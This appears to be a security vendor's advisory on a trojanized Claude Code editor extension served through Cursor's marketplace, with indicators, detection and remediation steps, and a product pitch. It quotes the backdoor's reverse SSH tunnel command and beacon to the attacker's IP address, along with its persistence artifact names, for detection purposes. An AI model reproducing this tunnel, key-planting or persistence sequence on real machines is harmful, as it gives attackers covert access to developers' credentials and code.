Claude Code Extension 2.1.313 Backdoor: Trojanized IDE Update Plants Persistent SSH Access on Developer Machines

Update, October 31, 2026: Cursor revised its notice on October 30 at 11:30 a.m. PT. It now names malicious builds of both 2.1.312 and 2.1.313 in its marketplace, for macOS and Windows. The 2.1.312 build on Open VSX is a different, clean artifact. Anthropic says this was not a compromise of its own systems: an actor used access to Cursor’s marketplace to publish a tampered copy. This post reflects both updates.

No CVE assigned. This is a malicious-package incident, not a code flaw in Claude Code. The vulnerable surface is the IDE extension supply chain.

Executive Summary

On October 29, 2026, a modified build of Anthropic’s Claude Code editor extension, published as anthropic.claude-code version 2.1.313, was served to Cursor users through the Cursor VS Code extension marketplace. Cursor later added a tampered 2.1.312 build served in the same window. Cursor states the builds were not developed by Anthropic, were available between roughly 2:27 a.m. and 1:35 p.m. PT, and reached at most 5,000 users. The package used Anthropic’s real extension identifier, so it arrived as a routine update to a tool developers already trusted.

The payload runs on extension load. It collects host and identity data, appends an attacker SSH public key tagged svc-telemetry to authorized_keys, tries to enable the local SSH server, opens a reverse SSH tunnel to 134.209.82.225, and installs a LaunchAgent on macOS or a scheduled task on Windows that retries the tunnel about every 60 seconds. Host details are posted in cleartext to port 8099. Cursor confirms the extension still adds the key, installs persistence, and beacons even on hosts where enabling SSH fails for lack of admin rights.

The operational problem is the target. A developer workstation holds SSH keys, cloud CLI sessions, Git credentials, package registry tokens, and local clones of private repositories. An attacker who gets an inbound shell on that machine inherits all of it, and removing the extension does not remove the persistence. Treat any host that installed 2.1.312 or 2.1.313 from Cursor’s marketplace as compromised until the svc-telemetry key check comes back clean, and rotate credentials from a separate trusted system.

TL;DR for Engineering Teams

What it is: Trojanized anthropic.claude-code 2.1.312 and 2.1.313 IDE extension builds carrying a prepended loader that installs an SSH backdoor. No CVE; severity High (supply chain, confirmed malicious).

Where it bites: Cursor installs that pulled 2.1.312 or 2.1.313 from the Cursor marketplace on October 29, 2026, 2:27 a.m. to 1:35 p.m. PT. Builds named by Cursor: darwin-arm64 and win32-x64.

Why it matters: Legitimate publisher ID, auto-update delivery, execution on editor start with no user interaction, persistence that survives uninstall, up to 5,000 developer endpoints.

Patch status: Malicious builds pulled. Cursor now serves clean bytes for 2.1.312. Clean 2.1.314 is available on Open VSX, the Microsoft VS Code Marketplace, and npm (published October 30, 2026).

Immediate action: Run grep svc-telemetry ~/.ssh/authorized_keys (or the PowerShell equivalent below) on every Cursor host, run Cursor’s remediation script on any hit, rebuild or isolate, then rotate every credential reachable from that machine.

Vulnerability Overview

Technical Anatomy

Root Cause

The failure sits in the trust model of the extension channel. The attacker shipped tampered builds under Anthropic’s publisher namespace in Cursor’s marketplace: a 2.1.312 that shared its version number with the real release, and a 2.1.313 one step ahead of it. Cursor clients treated both as ordinary updates. Nothing on the client side forced a check that the build matched what Anthropic actually published.

Early reports, including Phorion’s and StepSecurity’s first version, named Open VSX as the origin. That has since been corrected. Felix Rieseberg of Anthropic said on October 30 that there was no compromise of Anthropic’s systems or employee laptops: an actor used access to Cursor’s marketplace to publish a tampered copy that Anthropic did not build or publish. Anthropic also stated that 2.1.313 was never published to Open VSX, the Microsoft marketplace, or any of its official hosts, and that it skipped to 2.1.314 to avoid confusion. StepSecurity independently confirmed that Open VSX returns “not found” for 2.1.313 and that the Open VSX 2.1.312 build is clean. Cursor’s notice says it audited access, found no other tampered extensions, rotated its keys, and rebuilt the marketplace. How the actor gained publishing access inside Cursor’s marketplace has not been disclosed.

The note on Cursor’s key rotation is the useful signal for defenders. Rotating marketplace keys and rebuilding the service is consistent with a publishing or signing credential being in scope, but Cursor has not said so. Treat that as inference.

Loader Characteristics (researcher-reported)

OpenSourceMalware’s analysis shows a 66-line loader prepended to extension.js, the extension’s entry point, wrapped as an immediately invoked function so it runs before the legitimate Claude Code code initializes. The rest of the package was left intact, so the extension continued to work normally. StepSecurity measured the malicious extension.js at 3,692,922 bytes, about 7 KB larger than the previous clean release, and found in sandbox testing that the payload runs under plain Node.js with no VS Code APIs. Loading the module is enough.

Exploit Path

1. Entry point. Cursor auto-updates or a developer clicks update on the trusted anthropic.claude-code listing. Version 2.1.313 lands in the local extensions folder.
2. Trigger. The editor activates the extension at startup. The loader runs immediately; the developer never has to open a Claude chat panel.
3. Execution impact. The loader harvests host identity, plants the svc-telemetry SSH key, attempts to enable the local SSH server, opens a reverse tunnel (ssh -N -R '*:0:localhost:22' to tunnel@134.209.82.225), installs persistence, and beacons status over HTTP to :8099/beacon.

Campaign Phases

Phase 1, initial foothold (Oct 29, 2:27 a.m. PT). Malicious build becomes installable in the Cursor marketplace under the legitimate publisher ID.

Phase 2, host reconnaissance. Per Cursor, the loader collects hostname, username, OS, architecture, home directory, environment variable names, working directories, configured Git email, and public IP (via ifconfig.me or api.ipify.org). OpenSourceMalware and Phorion both report that the collection is capped at 40 variable names containing KEY, TOKEN, SECRET, PASS, AWS, or GCP, and that values are not included in the initial beacon. Collecting names rather than values reads as target qualification: an operator can see which hosts carry AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, or NPM_TOKEN and prioritize them for hands-on access through the tunnel.

Phase 3, access establishment. The key append and reverse tunnel give the operator an inbound path to the workstation’s own sshd from the attacker server, bypassing NAT and inbound firewall rules. Cursor says code errors cause the SSH-enable step to fail unless Cursor ran with administrator privileges.

Phase 4, persistence. macOS: LaunchAgent ~/Library/LaunchAgents/com.apple.sysmond.plist with label com.apple.sysmond, plus scripts in ~/.config/.smt and ~/.config/.smtk. Windows: scheduled task SysMon that attempts to run as SYSTEM, with a Startup folder fallback sysmon.cmd. Linux: a cron @reboot /bin/sh "<HOME>/.config/.smt" entry plus a /tmp/.stk_<10 hex> key file. Background scripts retry the tunnel roughly every 60 seconds. Cursor names only macOS (darwin-arm64) and Windows (win32-x64) builds as affected, but its IOC list includes the Linux artifacts, so the loader carries a Linux branch.

Where the admin-rights caveat breaks down (Phoenix analysis)

Cursor’s statement that the attacker “could not have logged in” on most hosts depends on the local SSH server being off. That holds for a default macOS or Windows laptop. It does not hold for a developer who already enabled Remote Login on a Mac, installed OpenSSH Server on Windows for remote development, or runs Cursor on a Linux workstation with sshd active. On those machines the key plus the tunnel is a working inbound login, regardless of whether the extension could start the service itself. This is our inference from the described mechanics, not a statement from Cursor. Prioritize hosts with a listening port 22 during triage.

Attack Chain

Cursor marketplace (anthropic.claude-code 2.1.312 / 2.1.313)
        |
  auto-update / manual update
        |
extension.js loader (IIFE, runs on activation)
        |---> recon: host, user, Git email, env var names, public IP
        |---> append svc-telemetry key -> ~/.ssh/authorized_keys
        |---> try enable sshd (fails without admin)
        |---> ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225:22
        |---> persistence: LaunchAgent com.apple.sysmond | schtask SysMon | Startup sysmon.cmd | cron @reboot
        '---> HTTP POST hxxp://134.209.82.225:8099/beacon (cleartext)

MITRE ATT&CK Mapping

Affected Versions

A 2.1.312 version number alone does not prove infection. Check the extension bundle for the strings below.

Exposure Analysis

Cursor puts the ceiling at 5,000 affected users. Coralogix’s Snowbit team reported two infections observed in its own customer telemetry, both on Cursor. No public number exists for how many hosts completed a working tunnel.

Real-World Impact

Five thousand developer endpoints is a small number next to the npm worms Phoenix tracked through 2026, and the per-host value is much higher. A dependency worm steals whatever secrets a build or install step exposes. An SSH foothold on a laptop gives an operator interactive time with the developer’s agent sockets, cloud CLI sessions, signed Git identity, and browser profile. The environment-variable name harvest tells the operator which of those hosts are worth that time.

This incident fits a pattern Phoenix has documented in prior Vulnerability Weekly issues: attackers moving from package registries toward the tools that sit on developer machines. TrapDoor planted instructions in CLAUDE.md and .cursorrules files; the GitHub VS Code extension breach and TeamPCP’s VS Code wave targeted editor extensions directly. Extensions run with the user’s full privileges, update silently, and rarely appear in an SBOM or asset inventory.

Realistic follow-on scenarios include cloud credential theft from ~/.aws and similar paths, push access to private repositories through the developer’s Git identity, publishing poisoned releases with the developer’s registry token, and lateral movement through SSH config entries to bastions and internal hosts.

The C2 server is offline, which stops new tunnels to that address. It does not remove keys already planted or undo anything an operator did during the 11-hour window.

Detection Guidance

Indicators of Compromise

Log and Process Indicators

Look for outbound TCP 22 or 8099 to 134.209.82.225 in firewall, proxy, or EDR network logs from October 29 onward. On endpoints, look for ssh or autossh -M 0 child processes with -N -R '*:0:localhost:22' and the option set StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null, ServerAliveInterval=30, ServerAliveCountMax=3, ExitOnForwardFailure=yes, IdentitiesOnly=yes.

On macOS, systemsetup -setremotelogin on executed from a non-admin context is a strong signal. On Windows, look for schtasks /create /tn SysMon and Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0. Calls to ifconfig.me or api.ipify.org from the editor process tree are supporting evidence only; Cursor notes those services are legitimate.

Scanner References

Phoenix Security campaign matching on anthropic.claude-code 2.1.312 and 2.1.313 across ingested extension and endpoint inventory. EDR and osquery for file, process, and LaunchAgent artifacts. SBOM tooling that enumerates IDE extensions (most do not by default). GitHub and registry audit logs for token use from unfamiliar IPs after October 29.

Verification Steps for Teams

1. Check for the planted key on every host that runs Cursor. macOS / Linux:

   bash
grep -qs svc-telemetry ~/.ssh/authorized_keys && echo FOUND || echo clean

Windows PowerShell:

   powershell
$f="$HOME\.ssh\authorized_keys","C:\ProgramData\ssh\administrators_authorized_keys"|?{Test-Path $_}; if($f -and (sls svc-telemetry $f)){"FOUND"}else{"clean"}

2. Sweep extension folders:

   bash
ls ~/.cursor/extensions | grep -E 'claude-code-2\.1\.31[23]'
   grep -l -e 134.209.82.225 -e svc-telemetry ~/.cursor/extensions/anthropic.claude-code-*/extension.js

3. Check persistence:

   bash
launchctl list | grep sysmond
   crontab -l | grep .smt

powershell
schtasks /query /tn SysMon

4. Query egress logs for 134.209.82.225 on ports 22 and 8099.
5. For every confirmed host, list listening sockets on port 22 at the time of infection to separate “key planted” from “tunnel usable.”
6. Review cloud, GitHub, and registry audit logs for sessions or tokens used from new IPs after the host’s install time.

Remediation Guidance

Immediate Actions

1. Isolate any host where the key, persistence, or an infected 2.1.312 / 2.1.313 bundle is found.
2. Run Cursor’s remediation script as the affected user on macOS (bash remediate-macos.sh) and from an elevated PowerShell on Windows (powershell -ExecutionPolicy Bypass -File .\remediate-windows.ps1). The scripts remove the extension, persistence, tunnel processes, and key, and exit non-zero if anything remains.
3. Install anthropic.claude-code 2.1.314 or later. Do not reinstall 2.1.312 or 2.1.313 from any cache or offline VSIX store; a cached 2.1.312 VSIX from Cursor may be the malicious build.
4. Decide on rebuild. Any host with a usable tunnel (sshd listening) or evidence of inbound sessions should be reimaged rather than cleaned.
5. From a separate trusted machine, rotate SSH keys, cloud credentials, GitHub and GitLab tokens, package registry tokens, and any secret whose variable name appeared in that host’s environment. Revoke active sessions and OAuth grants. Cursor notes the names-only collection does not rule out later credential access over the backdoor.
6. Re-sign or re-verify any commits, tags, or releases pushed from affected hosts during and after the window.

Temporary Mitigations

Block 134.209.82.225 on egress for ports 22 and 8099 even though the server is offline, so a re-hosted C2 on the same address fails. Turn off extension auto-update on managed developer machines ("extensions.autoUpdate": false) and stage updates through an allowlist where the editor supports it. Pin Claude Code to a reviewed version and require a hash check against the publisher’s own channel before promotion. Alert on writes to authorized_keys and on new LaunchAgents or scheduled tasks created by editor child processes. Disable Remote Login and OpenSSH Server on developer laptops that do not need inbound SSH; this alone breaks the tunnel path described here.

Phoenix Security Recommendations

Extensions are third-party code that runs with the developer’s full privileges, and most programs do not inventory them. Phoenix treats them as components: ingest extension inventory from endpoint and SBOM sources so anthropic.claude-code@2.1.313 (or the tampered 2.1.312) resolves to a named host, a named developer, and an owning team.

Contextual deduplication collapses the same finding reported by EDR, SBOM, and campaign matching into one item per host, so triage starts from a host list instead of three alert queues. Reachability analysis applies at the credential layer: a compromised laptop that holds a production cloud role or a release-signing token ranks above one that holds nothing deployable, and Phoenix ownership mapping identifies which applications those credentials reach.

The remediation campaign follows the standard flow. Create the campaign from the attached configuration, match on anthropic.claude-code 2.1.312 and 2.1.313, assign each affected host to its owner, track key removal, persistence cleanup, and credential rotation as separate tasks, and verify closure with a fresh inventory pull showing 2.1.314 and a clean authorized_keys. Attack surface management covers the other half: confirm no affected host exposed sshd externally, and watch for new external assets tied to rotated credentials.

Phoenix Security correlates the malicious extension with the hosts and teams running it, ranks those hosts by the credentials and applications they can reach, and turns cleanup into an owned, trackable remediation backlog.

Find Compromised Extensions with Phoenix Blue

When Cursor published its notice, every security team asked the same first question. Which of our machines have this version? Most teams can answer that for npm packages in production. Very few can answer it for IDE extensions on developer laptops.

Phoenix Blue Shield answers it from the endpoint. Its collectors keep a live inventory of developer workstations, CI runners and agent sessions, with the packages, agent skills, and IDE and VS Code extensions installed on each one. Risky extensions are flagged in the same view. Workstation and agent collectors on the same machine resolve to one endpoint, and a heartbeat shows whether each collector is still reporting.

For an incident like this one, that turns a fleet-wide grep into a lookup:

• See every endpoint running anthropic.claude-code 2.1.312 or 2.1.313, and run the svc-telemetry check there first.
• Spot endpoints whose collector has gone quiet, so a silent machine doesn’t pass as a clean one.
• Use the resulting host list to drive the remediation campaign above, with an owner on every machine.

Phoenix Blue is the intelligence behind those verdicts. Blue Shield doesn’t wait for a CVE or an advisory. It looks at behavior: whether code reaches for credentials, calls infrastructure tied to a known campaign, drops an install hook, or carries a payload that fires on startup. Findings map to MITRE ATT&CK, and one verdict holds across the agent session, the workstation and CI/CD. When a decision needs a person, Blue Shield routes it to one with the behavior and campaign context attached. Every block is reviewable.

The core tier is free. The endpoint and agent firewall collectors are open source on GitHub (phoenix-firewall, blue-shield-agent-firewall), and the intelligence feed is at phxintel.security.

Protect yourself with the latest threat intelligence, get free access to Phoenix Blue Today

External References

1. Cursor. Security notice: malicious version of Anthropic.claude-code (2.1.312 and 2.1.313) identified in the Cursor VS Code Extension Marketplace. October 29, 2026, updated October 30, 2026.
2. StepSecurity. Trojanized Claude Code Extension Delivered Persistent SSH Backdoor to Developer Machines. October 30, 2026.
3. OX Security. Compromised Claude Code Extension (2.1.313) in Cursor Marketplace Plants Attacker SSH Key and Persistence.
4. Coralogix Snowbit. Threat Advisory: Trojanized Claude Code Extension SSH Backdoor.
5. The Hacker News. Official Claude Code Extension on Cursor Marketplace Trojanized with Persistent SSH Backdoor. October 30, 2026.
6. Brandefense. Trojanized Claude Code Extension: A Response Playbook for Malicious Extensions.
7. Open VSX Registry. Anthropic.claude-code listing.
8. OpenSourceMalware. Trojanized Claude Code Extension Plants an SSH Backdoor. October 30, 2026.
9. Help Net Security. Claude Code extension poisoned with persistent SSH backdoor (Phorion findings). October 30, 2026.
10. The Register. Anthropic on the Claude Code extension compromise (Felix Rieseberg statement). October 30, 2026.
11. MITRE ATT&CK. T1176.002 IDE Extensions; T1098.004 SSH Authorized Keys; T1572 Protocol Tunneling.